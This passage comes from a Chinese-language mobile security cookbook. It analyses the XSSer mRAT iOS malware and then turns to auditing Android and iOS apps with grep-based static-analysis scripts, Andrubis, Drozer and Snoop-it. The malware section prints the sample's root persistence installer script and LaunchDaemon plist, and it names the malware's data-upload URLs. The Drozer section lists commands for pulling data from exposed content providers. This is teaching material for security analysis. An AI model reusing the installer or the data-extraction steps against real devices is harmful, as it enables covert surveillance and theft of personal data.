@end
它是如何工作的...
恶意软件通常会创建可执行文件,这些文件被添加到系统目录并赋予可执行权限。
这些可执行文件反过来会添加属性文件,尝试访问和控制启动守护进程,读取敏感数据,甚至尝试将敏感数据上传到远程服务器。
在 iOS 环境中分析恶意软件
我们将查看 XSSer mRAT iOS 恶意软件样本,进行初步分析。如果已安装,该恶意软件将在受害者手机的后台运行,受感染设备的内容将被发送到看似由外国政府或组织控制的远程服务器。XSSer mRAT 可以窃取短信、通话记录、位置信息、照片、通讯录、腾讯的中国即时通讯应用程序的数据以及 iOS 钥匙串中的密码。
准备中
我们需要解压工具,如 7-Zip、WinZip 等。
如何操作...
在 iOS 环境中分析恶意软件,请执行以下步骤:
-
我们解压
.deb
文件以查看包的内容。解压后的目录包含一个名为data.tar
的文件,可以进一步解压到data
目录。 -
我们现在进一步探查,进入/data/bin,找到三个文件:
-
com.xsser.0day.iphone.plist
-
xsser.0day_t
-
xsser.0day_t.sh
-
-
让我们看一下
xxser.0day_t.sh
文件。以下代码被揭示:#!/bin/sh cp /bin/xsser.0day_t /bin/xsser.0day cp /bin/com.xsser.0day.iphone.plist /Library/LaunchDaemons/com.xsser.0day.iphone.plist chmod -R 0755 /bin/xsser.0day chmod -R 0755 /Library/LaunchDaemons/com.xsser.0day.iphone.plist chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plist
代码分析显示,应用程序试图将二进制包
xsser.0day_t
复制到设备的/bin
目录,这表明该二进制文件用于执行恶意命令。下一行揭示了恶意软件将 plist 文件复制到
/Library/LaunchDaemons
目录,以便在系统启动和重启时启动应用程序代码。我们还看到,通过
chmod 0755
命令授予了755
权限,这允许所有人读取和执行文件,文件所有者可以写入文件,使用以下代码:**chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist** **launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plist**
-
该应用程序现在使用
launchctl
与launchd
接口,以加载daemons/agents
并通过其plist
文件控制launchd
。 -
让我们来看一下 plist 文件。在记事本中打开 plist 文件,内容如下:
<plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.xsser.0day.iphone</string> <key>Program</key> <string>/bin/xsser.0day</string> <key>RunAtLoad</key> <true/> </dict> </plist>
这个 plist 文件将
xsser.0day
二进制文件定义为具有由 launch daemon 启动能力的程序。 -
该过程本质上是安装并加载了一个本地服务。
-
当应用程序运行时,它发送 HTTP GET 请求到www.xsser.com/CheckLibrary.aspx以获取库版本。
它是如何工作的...
当应用程序在启动时运行时,二进制文件会检查库的版本并将其保存到名为/bin/iVersion
的文件中。如果版本不匹配,它将下载并更新 iLib 版本。主二进制文件还会在/bin/debuglogFile.log
中进行一些最小化的日志记录。
然后,应用程序通过 GET 请求发送数据,如操作系统版本、MAC 地址、设备版本、电话号码、IMSI 和 IMEI 码。
服务器响应 GET 请求,返回一组将在设备上执行的命令。这些命令包括上传以下文件:
**/var/mobile/Library/AddressBook/AddressBook.sqlitedb**
**/var/mobile/Library/AddressBook/AddressBook.sqlitedb-shm**
**/var/mobile/Library/AddressBook/AddressBook.sqlitedb-wal**
**/var/mobile/Library/SMS/sms.db**
**/var/mobile/Library/SMS/sms.db-shm**
**/var/mobile/Library/SMS/sms.db-wal**
**/var/wireless/Library/CallHistory/call_history.db**
所有图像都位于/private/var/mobile/Media/DCIM/100APPLE/
目录。此外,应用程序还会访问 GPS 信息和钥匙串。
所有数据随后被上传到 http://xsser.com/TargetUploadGPS.aspx:
第三章:审计移动应用
本章将涵盖以下主题:
-
使用静态分析审计 Android 应用
-
使用动态分析器审计 Android 应用
-
使用 Drozer 在 Android 应用中发现漏洞
-
使用静态分析审计 iOS 应用
-
使用动态分析器审计 iOS 应用
-
检查 iOS 应用数据存储和钥匙串安全漏洞
-
在基于 WAP 的移动应用中发现漏洞
-
发现客户端注入
-
移动应用中的不安全加密
-
发现数据泄露源
-
移动设备中的其他基于应用的攻击
-
在 Android 中发起意图注入
介绍
移动应用(如 Web 应用)可能存在漏洞。这些漏洞在大多数情况下是由于糟糕的编程实践或不安全的编码技术引起的,或者可能是由于故意注入的不良代码。对于用户和组织来说,了解他们的应用程序有多脆弱是非常重要的。他们应该修复漏洞,还是继续使用/停止使用这些应用程序?
为了解决这个困境,移动应用需要进行审计,目的是发现漏洞。可以使用静态或动态技术分析移动应用(安卓、iOS 或其他平台)。静态分析是通过对反编译的源代码进行某些基于文本或字符串的搜索来进行的。动态分析则是在运行时进行,漏洞以模拟的方式被发现。与静态分析相比,动态分析更具挑战性。在本章中,我们将结合使用静态和动态分析来审计 Android 和 iOS 应用。我们还将学习审计发现的其他技术,包括 Drozer 框架使用、基于 WAP 的应用审计以及典型的移动特定漏洞发现。
使用静态分析审计 Android 应用
静态分析是源代码审计中最常见且最易应用的分析方法。静态分析的定义意味着某物是常量。静态分析是在静态代码上进行的,即原始或反编译的源代码,或在已编译(目标)代码上进行的,但分析是在没有运行时的情况下进行的。在大多数情况下,静态分析通过静态字符串搜索来实现代码分析。一个非常常见的场景是找出脆弱或不安全的代码模式,并在整个应用代码中找到相同的模式。
准备工作
要进行 Android 应用的静态分析,我们至少需要一个 Android 应用和一个静态代码扫描器。选择任何你喜欢的 Android 应用,并使用你选择的任何静态分析工具。
在本教程中,我们使用Insecure Bank,这是一个面向 Android 安全爱好者的漏洞 Android 应用。我们还将使用ScriptDroid,这是一种静态分析脚本。Insecure Bank 和 ScriptDroid 都是由 Android 安全研究员 Dinesh Shetty 编写的。
如何操作...
执行以下步骤:
-
从 GitHub 下载最新版本的 Insecure Bank 应用程序。解压或解压
.apk
文件,并记下解压后的应用程序路径。 -
使用以下代码创建一个
ScriptDroid.bat
文件:@ECHO OFF SET /P Filelocation=Please Enter Location: mkdir %Filelocation%OUTPUT :: Code to check for presence of Comments grep -H -i -n -e "//" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_comment.txt" type -H -i "%Filelocation%*.java" |gawk "/\/\*/,/\*\//" >> "%Filelocation%OUTPUT\MultilineComments.txt" grep -H -i -n -v "TODO" "%Filelocation%OUTPUT\Temp_comment.txt" >> "%Filelocation%OUTPUT\SinglelineComments.txt" del %Filelocation%OUTPUT\Temp_comment.txt :: Code to check for insecure usage of SharedPreferences grep -H -i -n -C2 -e "putString" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\verify_sharedpreferences.txt" grep -H -i -n -C2 -e "MODE_PRIVATE" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Modeprivate.txt" grep -H -i -n -C2 -e "MODE_WORLD_READABLE" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Worldreadable.txt" grep -H -i -n -C2 -e "MODE_WORLD_WRITEABLE" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Worldwritable.txt" grep -H -i -n -C2 -e "addPreferencesFromResource" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\verify_sharedpreferences.txt" :: Code to check for possible TapJacking attack grep -H -i -n -e filterTouchesWhenObscured\="true" "%Filelocation%..\..\..\..\res\layout\*.xml" >> "%Filelocation%OUTPUT\Temp_tapjacking.txt" grep -H -i -n -e "<Button" "%Filelocation%..\..\..\..\res\layout\*.xml" >> "%Filelocation%OUTPUT\tapjackings.txt" grep -H -i -n -v filterTouchesWhenObscured\="true" "%Filelocation%OUTPUT\tapjackings.txt" >> "%Filelocation%OUTPUT\Temp_tapjacking.txt" del %Filelocation%OUTPUT\Temp_tapjacking.txt :: Code to check usage of external storage card for storing information grep -H -i -n -e "WRITE_EXTERNAL_STORAGE" "%Filelocation%..\..\..\..\AndroidManifest.xml" >> "%Filelocation%OUTPUT\SdcardStorage.txt" grep -H -i -n -e "getExternalStorageDirectory()" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\SdcardStorage.txt" grep -H -i -n -e "sdcard" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\SdcardStorage.txt" :: Code to check for possible scripting javscript injection grep -H -i -n -e "addJavascriptInterface()" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_probableXss.txt" grep -H -i -n -e "setJavaScriptEnabled(true)" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_probableXss.txt" grep -H -i -n -v "import" "%Filelocation%OUTPUT\Temp_probableXss.txt" >> "%Filelocation%OUTPUT\probableXss.txt" del %Filelocation%OUTPUT\Temp_probableXss.txt :: Code to check for presence of possible weak algorithms grep -H -i -n -e "MD5" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_weakencryption.txt" grep -H -i -n -e "base64" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_weakencryption.txt" grep -H -i -n -e "des" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_weakencryption.txt" grep -H -i -n -v "import" "%Filelocation%OUTPUT\Temp_weakencryption.txt" >> "%Filelocation%OUTPUT\Weakencryption.txt" del %Filelocation%OUTPUT\Temp_weakencryption.txt :: Code to check for weak transportation medium grep -H -i -n -C3 "http://" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_overhttp.txt" grep -H -i -n -C3 -e "HttpURLConnection" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_overhttp.txt" grep -H -i -n -C3 -e "URLConnection" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_OtherUrlConnection.txt" grep -H -i -n -C3 -e "URL" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_OtherUrlConnection.txt" grep -H -i -n -e "TrustAllSSLSocket-Factory" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\BypassSSLvalidations.txt" grep -H -i -n -e "AllTrustSSLSocketFactory" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\BypassSSLvalidations.txt" grep -H -i -n -e "NonValidatingSSLSocketFactory" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\BypassSSLvalidations.txt" grep -H -i -n -v "import" "%Filelocation%OUTPUT\Temp_OtherUrlConnection.txt" >> "%Filelocation%OUTPUT\OtherUrlConnections.txt" del %Filelocation%OUTPUT\Temp_OtherUrlConnection.txt grep -H -i -n -v "import" "%Filelocation%OUTPUT\Temp_overhttp.txt" >> "%Filelocation%OUTPUT\UnencryptedTransport.txt" del %Filelocation%OUTPUT\Temp_overhttp.txt :: Code to check for Autocomplete ON grep -H -i -n -e "<Input" "%Filelocation%..\..\..\..\res\layout\*.xml" >> "%Filelocation%OUTPUT\Temp_autocomp.txt" grep -H -i -n -v "textNoSuggestions" "%Filelocation%OUTPUT\Temp_autocomp.txt" >> "%Filelocation%OUTPUT\AutocompleteOn.txt" del %Filelocation%OUTPUT\Temp_autocomp.txt :: Code to presence of possible SQL Content grep -H -i -n -e "rawQuery" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "compileStatement" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "db" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "sqlite" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "database" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "insert" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "delete" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "select" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "table" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -e "cursor" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_sqlcontent.txt" grep -H -i -n -v "import" "%Filelocation%OUTPUT\Temp_sqlcontent.txt" >> "%Filelocation%OUTPUT\Sqlcontents.txt" del %Filelocation%OUTPUT\Temp_sqlcontent.txt :: Code to check for Logging mechanism grep -H -i -n -F "Log." "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Logging.txt" :: Code to check for Information in Toast messages grep -H -i -n -e "Toast.makeText" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_Toast.txt" grep -H -i -n -v "//" "%Filelocation%OUTPUT\Temp_Toast.txt" >> "%Filelocation%OUTPUT\Toast_content.txt" del %Filelocation%OUTPUT\Temp_Toast.txt :: Code to check for Debugging status grep -H -i -n -e "android:debuggable" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\DebuggingAllowed.txt" :: Code to check for presence of Device Identifiers grep -H -i -n -e "uid\|user-id\|imei\|deviceId\|deviceSerialNumber\|devicePrint\|X-DSN\|phone \|mdn\|did\|IMSI\|uuid" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\Temp_Identifiers.txt" grep -H -i -n -v "//" "%Filelocation%OUTPUT\Temp_Identifiers.txt" >> "%Filelocation%OUTPUT\Device_Identifier.txt" del %Filelocation%OUTPUT\Temp_Identifiers.txt :: Code to check for presence of Location Info grep -H -i -n -e "getLastKnownLocation()\|requestLocationUpdates()\|getLatitude()\|getLongitude() \|LOCATION" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\LocationInfo.txt" :: Code to check for possible Intent Injection grep -H -i -n -C3 -e "Action.getIntent(" "%Filelocation%*.java" >> "%Filelocation%OUTPUT\IntentValidation.txt"
工作原理...
打开命令提示符并导航到 ScriptDroid 所在的路径。运行 .bat
文件,它会提示你输入要进行静态分析的应用程序路径。在我们的例子中,我们提供了 Insecure Bank 应用的路径,准确地说是 Java 文件存储的路径。如果一切正常,屏幕应该显示如下内容:
脚本会在应用程序的 Java 文件所在的路径生成一个名为OUTPUT
的文件夹。OUTPUT
文件夹包含多个文本文件,每个文件对应一个特定的漏洞。这些文本文件标明了与正在讨论的漏洞相关的易受攻击的代码位置。
ScriptDroid 与 Insecure Bank 的结合为我们提供了一个非常好的视角,展示了各种 Android 漏洞;通常,实时应用程序无法做到这一点。
考虑以下几点,例如:
-
Weakencryption.txt
列出了 Insecure Bank 应用中用于密码的 Base64 编码实例。 -
Logging.txt
包含应用程序中使用的不安全日志函数列表。 -
SdcardStorage.txt
包含与 SD 卡中数据存储相关定义的代码片段。
这些来自静态分析的细节让我们了解到应用程序中的漏洞,甚至在未运行应用程序的情况下。
还有更多...
当前使用的配方仅限于 ScriptDroid,但还有许多其他选项可供选择。你可以选择编写自己的脚本,或者使用一些免费的或商业的工具。一些商业工具多年来通过专注于静态分析方法,已经在这一领域开创了先河。
另请参见
-
使用静态分析审计 iOS 应用
使用动态分析审计 Android 应用
动态分析是另一种用于源代码审计的技术。动态分析是在运行时进行的。应用程序被运行或模拟,并且在应用程序运行时发现缺陷或漏洞。动态分析可能会很棘手,特别是在移动平台上。与静态分析不同,动态分析有一些特定的要求,比如分析环境需要是运行时环境或真实运行时的模拟。
动态分析可以用来发现 Android 应用程序中的漏洞,这些漏洞通过静态分析是难以发现的。静态分析可能让你知道一个密码会被存储,但动态分析则读取内存并揭示运行时存储的密码。动态分析有助于在运行时篡改传输中的数据,例如篡改发送到支付网关的交易请求中的金额。一些 Android 应用程序使用混淆技术来防止攻击者读取代码;在这种情况下,动态分析改变了整个游戏规则,它能够揭示在请求中发送的硬编码数据,而这些数据在静态分析中是无法读取的。
准备工作
为了进行 Android 应用程序的动态分析,至少需要一个 Android 应用程序和一个动态代码分析工具。选择任何你喜欢的 Android 应用程序,并使用你喜欢的任何动态分析工具。
动态分析工具可以分为两类:
-
从计算机上运行并连接到 Android 设备或模拟器的工具(用于进行动态分析)
-
可以在 Android 设备本身运行的工具
对于本教程,我们选择了属于后一类的工具。
如何操作…
执行以下步骤进行动态分析:
-
准备一台安装了应用程序(需要进行动态分析的)Android 设备。
-
前往 Play 商店并下载 Andrubis。Andrubis 是 iSecLabs 提供的一款工具,可在 Android 设备上运行,对已安装的应用程序进行静态、动态和 URL 分析。在本教程中,我们仅使用它进行动态分析。
-
在你的 Android 设备上打开 Andrubis 应用程序。它会显示已安装的应用程序并分析这些应用程序。
如何工作...
打开你感兴趣的应用程序的分析。Andrubis 会计算应用程序的总体恶意评分(满分为 10 分),并在主屏幕前显示颜色图标,以反映易受攻击的应用程序。
我们选择了一个橙色的应用程序,以便与本教程更好地契合。下面是 Andrubis 中展示的应用程序摘要和评分:
让我们导航到 动态分析 标签并查看结果:
这个应用程序的结果很有意思。注意,在动态分析过程中,应用程序将写入的所有文件都列出。我们在这里找到一个名为 preferences.xml
的文件。
注意
虽然应用程序将创建一个偏好设置文件这一事实也可以通过静态分析发现,但动态分析进一步确认了确实会创建这样的文件。它还确认了静态分析中发现的有关创建偏好设置文件的代码片段不是一个死代码,而是一个将被创建的文件。接下来,继续读取已创建的文件,查找其中是否存在任何敏感数据。谁知道呢,或许运气会眷顾你,给你一个通向隐藏宝藏的钥匙。
请注意,第一屏幕有一个超链接,在浏览器中查看完整报告。点击它并注意,详细的动态分析结果会展示出来,供您进一步分析。这也让您理解工具尝试了什么操作以及获得了什么响应。如下截图所示:
还有更多...
当前的方案使用了属于后者类别的动态分析工具。前者类别也有许多其他工具可用。由于这是一个 Android 平台,许多工具都是开源的。
DroidBox 可以尝试进行动态分析。它检查文件操作(读/写)、网络数据流量、短信、权限、广播接收器等。
Hooker 是另一款可以拦截和修改应用程序发起的 API 调用的工具。在动态分析中,这非常有用。尝试钩取和篡改 API 调用中的数据。
另见
使用 Drozer 查找 Android 应用程序中的漏洞
Drozer 是一个由 MWR InfoSecurity 维护的移动安全审计和攻击框架,是测试人员工具库中必不可少的工具。Drozer(Android 安装应用程序)通过IPC(进程间通信)与其他 Android 应用程序进行交互。它允许对应用程序包相关信息、攻击面进行指纹识别,并尝试进行利用。Drozer 是一个攻击框架,可以从中执行高级漏洞攻击。我们使用 Drozer 来查找应用程序中的漏洞。
正在准备
通过从www.mwrinfosecurity.com/products/drozer/
下载 Drozer 并按照用户指南中的安装说明进行安装。
按照用户指南中的说明,安装 Drozer 控制台代理并启动会话。
如果您的安装正确,您应该会看到 Drozer 命令提示符(dz>
)。
您还应该有一些易受攻击的应用程序供分析。在这里,我们选择了 OWASP GoatDroid 应用程序。
如何操作...
每次渗透测试都从指纹识别开始。让我们使用 Drozer 来完成这一任务。Drozer 用户指南在参考命令时非常有帮助。
以下命令可用于获取关于 Android 应用程序包的信息:
**run app.package.info -a <package name>**
我们使用相同的方法从 GoatDroid 应用中提取信息,并得到了以下结果:
请注意,除了关于应用程序的一般信息,User Permissions
(用户权限)也会被 Drozer 列出。
进一步分析攻击面。Drozer 的攻击面列出了暴露的活动、广播接收器、内容提供者和服务。那些不应暴露的内容可能是严重的安全风险,并可能让你访问特权内容。
Drozer 具有以下命令来分析攻击面:
**run app.package.attacksurface <package name>**
我们使用相同的方法获取了 GoatDroid 的 Herd Financial 应用的攻击面,结果可以在以下截图中看到。请注意,一个活动和一个内容提供者被暴露。
我们选择攻击内容提供者以获取本地存储的数据。我们使用以下 Drozer 命令分析相同应用的内容提供者:
**run app.provider.info -a <package name>**
这让我们获得了暴露的内容提供者的详细信息,我们在另一个 Drozer 命令中使用了这些信息:
**run scanner.provider.finduris -a <package name>**
我们成功查询了内容提供者。最后,我们有兴趣窃取这个内容提供者存储的数据。这可以通过另一个 Drozer 命令实现:
**run app.provider.query content://<content provider details>/**
以下截图展示了整个事件的过程:
它是如何工作的...
ADB 用于在 Drozer Python 服务器(位于计算机上)和 Drozer 代理(.apk
文件安装在模拟器或 Android 设备上)之间建立连接。Drozer 控制台初始化后,可以运行我们看到的各种命令。
Drozer 代理利用 Android 操作系统的 IPC 特性,接管目标应用的角色,并作为原始应用运行各种命令。
还有更多...
Drozer 不仅允许用户通过内容提供者获取攻击面并窃取数据,或发起意图注入攻击,它的功能远不止这些。它还可以用于对应用程序进行模糊测试,通过提供注入有效负载的方法来引发本地注入攻击。
Drozer 还可以用来运行各种内置的漏洞攻击,并且可以通过自定义开发的漏洞攻击 Android 应用程序。此外,它还可以在基础设施模式下运行,允许远程连接和远程攻击。
另见
-
在 Android 中发起意图注入
-
www.mwrinfosecurity.com/system/assets/937/original/mwri_drozer-user-guide_2015-03-23.pdf
使用静态分析审核 iOS 应用程序
源代码审查中的静态分析是一种更简单的技术,使用静态字符串搜索使其更加方便。静态分析是在原始或反编译的源代码或已编译(目标)代码上进行的,但分析是在运行时之外进行的。通常,静态分析可以识别出易受攻击或不安全的代码模式。
准备工作
要进行 iOS 应用程序的静态分析,我们需要至少一个 iOS 应用程序和一个静态代码扫描工具。选择任何你喜欢的 iOS 应用程序,并使用任何你喜欢的静态分析工具。
我们将使用iOS-ScriptDroid
,这是一种静态分析脚本,由 Android 安全研究员 Dinesh Shetty 开发。
如何进行...
-
保留解压后的 iOS 应用程序文件,并记录包含
.m
文件的文件夹路径。 -
使用以下代码创建
iOS-ScriptDroid.bat
文件:ECHO Running ScriptDriod ... @ECHO OFF SET /P Filelocation=Please Enter Location: :: SET Filelocation=Location of the folder containing all the .m files eg: C:\sourcecode\project \iOS\xyz\ mkdir %Filelocation%OUTPUT :: Code to check for Sensitive Information storage in Phone memory grep -H -i -n -C2 -e "NSFile" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\phonememory.txt" grep -H -i -n -e "writeToFile " "%Filelocation%*.m" >> "%Filelocation%OUTPUT\phonememory.txt" :: Code to check for possible Buffer overflow grep -H -i -n -e "strcat(\|strcpy(\|strncat(\|strncpy(\|sprintf(\|vsprintf(\|gets(" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\BufferOverflow.txt" :: Code to check for usage of URL Schemes grep -H -i -n -C2 "openUrl\|handleOpenURL" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\URLSchemes.txt" :: Code to check for possible scripting javscript injection grep -H -i -n -e "webview" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\probableXss.txt" :: Code to check for presence of possible weak algorithms grep -H -i -n -e "MD5" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\tweakencryption.txt" grep -H -i -n -e "base64" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\tweakencryption.txt" grep -H -i -n -e "des" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\tweakencryption.txt" grep -H -i -n -v "//" "%Filelocation%OUTPUT\tweakencryption.txt" >> "%Filelocation%OUTPUT\weakencryption.txt" del %Filelocation%OUTPUT\tweakencryption.txt :: Code to check for weak transportation medium grep -H -i -n -e "http://" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\overhttp.txt" grep -H -i -n -e "NSURL" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\OtherUrlConnection.txt" grep -H -i -n -e "URL" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\OtherUrlConnection.txt" grep -H -i -n -e "writeToUrl" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\OtherUrlConnection.txt" grep -H -i -n -e "NSURLConnection" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\OtherUrlConnection.txt" grep -H -i -n -C2 "CFStream" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\OtherUrlConnection.txt" grep -H -i -n -C2 "NSStreamin" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\OtherUrlConnection.txt" grep -H -i -n -e "setAllowsAnyHTTPSCertificate\|kCFStreamSSLAllowsExpiredRoots \|kCFStreamSSLAllowsExpiredCertificates" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\BypassSSLvalidations.txt" grep -H -i -n -e "kCFStreamSSLAllowsAnyRoot\|continueWithoutCredentialForAuthenticationChallenge" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\BypassSSLvalidations.txt" ::to add check for "didFailWithError" :: Code to presence of possible SQL Content grep -H -i -F -e "db" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "sqlite" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "database" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "insert" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "delete" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "select" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "table" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "cursor" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "sqlite3_prepare" "%Filelocation%OUTPUT\sqlcontent.txt" >> "%Filelocation%OUTPUT\sqlcontent.txt" grep -H -i -F -e "sqlite3_compile" "%Filelocation%OUTPUT\sqlcontent.txt" >> "%Filelocation%OUTPUT\sqlcontent.txt" :: Code to check for presence of keychain usage source code grep -H -i -n -e "kSecASttr\|SFHFKkey" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\LocationInfo.txt" :: Code to check for Logging mechanism grep -H -i -n -F "NSLog" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\Logging.txt" grep -H -i -n -F "XLog" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\Logging.txt" grep -H -i -n -F "ZNLog" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\Logging.txt" :: Code to check for presence of password in source code grep -H -i -n -e "password\|pwd" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\password.txt" :: Code to check for Debugging status grep -H -i -n -e "#ifdef DEBUG" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\DebuggingAllowed.txt" :: Code to check for presence of Device Identifiers ===need to work more on this grep -H -i -n -e "uid\|user-id\|imei\|deviceId\|deviceSerialNumber\|devicePrint\|X-DSN\|phone \|mdn\|did\|IMSI\|uuid" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\Temp_Identifiers.txt" grep -H -i -n -v "//" "%Filelocation%OUTPUT\Temp_Identifiers.txt" >> "%Filelocation%OUTPUT\Device_Identifier.txt" del %Filelocation%OUTPUT\Temp_Identifiers.txt :: Code to check for presence of Location Info grep -H -i -n -e "CLLocationManager\|\startUpdatingLocation\|locationManager\|didUpdateToLocation \|CLLocationDegrees\|CLLocation\|CLLocationDistance\|startMonitoringSignificantLocationChanges" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\LocationInfo.txt" :: Code to check for presence of Comments grep -H -i -n -e "//" "%Filelocation%*.m" >> "%Filelocation%OUTPUT\Temp_comment.txt" type -H -i "%Filelocation%*.m" |gawk "/\/\*/,/\*\//" >> "%Filelocation%OUTPUT\MultilineComments.txt" grep -H -i -n -v "TODO" "%Filelocation%OUTPUT\Temp_comment.txt" >> "%Filelocation%OUTPUT\SinglelineComments.txt" del %Filelocation%OUTPUT\Temp_comment.txt
它是如何工作的...
打开命令提示符并导航到放置iOS-ScriptDroid
的路径。运行批处理文件时,它会提示你输入要进行静态分析的应用程序路径。
在我们的案例中,我们随意选择了一个应用程序,并输入了实现(.m
)文件的路径。
该脚本会在应用程序的.m
文件所在的路径下生成一个名为OUTPUT
的文件夹。OUTPUT
文件夹包含多个文本文件,每个文件对应一个特定的漏洞。这些单独的文本文件指出了与讨论中的漏洞相关的易受攻击代码的位置。
iOS-ScriptDroid
提供了当前应用程序中存在的各种 iOS 应用程序漏洞的第一手信息。
例如,以下是一些特定于 iOS 平台的工具。
BufferOverflow.txt
包含了当应用程序中发现缺失缓冲区限制(如strcat
、strcpy
等)时,使用有害函数的情况。
如果 URL Schemes 实现不安全,可能会导致与访问相关的漏洞。URL schemes 的使用列在URLSchemes.txt
中。
这些是通过静态分析了解 iOS 应用程序漏洞的有用详细信息。
还有更多...
当前使用的方案仅使用了iOS-ScriptDroid
,但还有许多其他选项可供选择。你可以选择编写自己的脚本,也可以使用现有的免费或商业工具。几种商业工具多年来通过专注于静态分析方法而取得了先驱地位。
另见
- 使用静态分析审计 Android 应用程序
使用动态分析器审计 iOS 应用程序
动态分析是应用程序的运行时分析。应用程序在运行或模拟过程中被执行,以发现运行时的缺陷。动态分析可能会很棘手,尤其是在移动平台上。
动态分析对于在运行时篡改传输中的数据非常有用,例如,篡改向支付网关发送的交易请求中的金额。在使用自定义加密以防止攻击者读取数据的应用程序中,动态分析有助于揭示被加密的数据,这些数据可以被逆向工程。
注意,由于 iOS 应用无法完全反编译,因此动态分析在发现可能被硬编码的敏感数据时显得尤为重要。
准备就绪
对 iOS 应用进行动态分析时,我们需要至少一个 iOS 应用和一个动态代码分析工具。选择任意 iOS 应用,并使用任何你喜欢的动态分析工具。
在这个操作中,我们将使用开源工具Snoop-it。我们将使用一个 iOS 应用,该应用通过 PIN 码、图案和秘密问题与答案来锁定文件,只有解锁后才能查看文件。
让我们看看能否分析这个应用并使用 Snoop-it 找到其中的安全漏洞。请注意,Snoop-it 只适用于越狱设备。
要在你的 iDevice 上安装 Snoop-it,请访问code.google.com/p/snoop-it/wiki/GettingStarted?tm=6
。
我们已经从 App Store 下载了Locker Lite并安装到我们的设备上进行分析。
如何操作...
执行以下步骤来对 iOS 应用进行动态分析:
-
点击 Snoop-it 应用图标打开它。
-
导航到设置。在这里你将看到可以从你的设备访问界面的 URL:
-
请注意这个 URL,因为我们稍后会使用它。为了方便,我们已禁用认证。
-
现在,在 iDevice 上,点击应用程序 | 选择 App Store 应用,然后选择Locker应用:
-
按下主屏按钮,打开 Locker 应用。注意,如果输入错误的 PIN 码,我们将无法继续访问:
-
确保工作站和 iDevice 处于同一网络,打开先前记下的 URL,并在任何浏览器中查看。界面将呈现如下:
-
点击左侧面板中的分析下的Objective-C 类链接:
-
